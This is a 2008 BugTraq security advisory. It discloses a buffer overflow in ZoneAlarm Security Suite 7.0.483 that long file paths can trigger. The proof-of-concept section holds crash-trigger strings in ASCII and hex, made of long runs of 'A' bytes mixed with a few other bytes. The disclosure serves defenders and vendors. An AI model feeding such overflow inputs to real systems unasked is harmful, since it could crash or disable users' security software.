BugTraq
ZoneAlarm Security Suite buffer overflow Sep 11 2008 06:36AM
jplopezy gmail com

Application: ZoneAlarm Security Suite
OS: Windows Xp (All patches a day)
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1 - Description
2 - Vulnerability
3 - POC/EXPLOIT
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Description

The zonealarm is a known firewall,
which in the version "security suite" brings some tools as an antivirus, antispam and so on.

Details of the version

ZoneAlarm Security Suite versión:7.0.483.000
Versión de TrueVector:7.0.483.000
Versión del controlador:7.0.483.000
Versión de motor anti-virus:3
Versión de motor antivirus:5.0.1.85
Versión de archivo DAT de firma de anti-virus 915051681
Versión de motor de protección contra programas espía:5.0.189.0
Versión de archivo DAT de firma de protección contra programas espía 01.200801.3195
Versión de AntiSpam 5.0.6.8903

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Vulnerability

The vulnerability is caused because the program can not analyze very long paths.
This causes a buffer overflow with the possibility of execution of code.

The flaw could be exploited by malware to leave without protection to the system for instance.

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POC/EXPLOIT

Here you can view a video proof of concept

http://www.fileden.com/files/2008/9/11/2091525/zonealarm.swf

Strings

ASCII: · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · · ? A · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA

HEX : b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

ASCII: ???????????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA

HEX: 85 85 85 85 85 85 85 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

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Juan Pablo Lopez Yacubian

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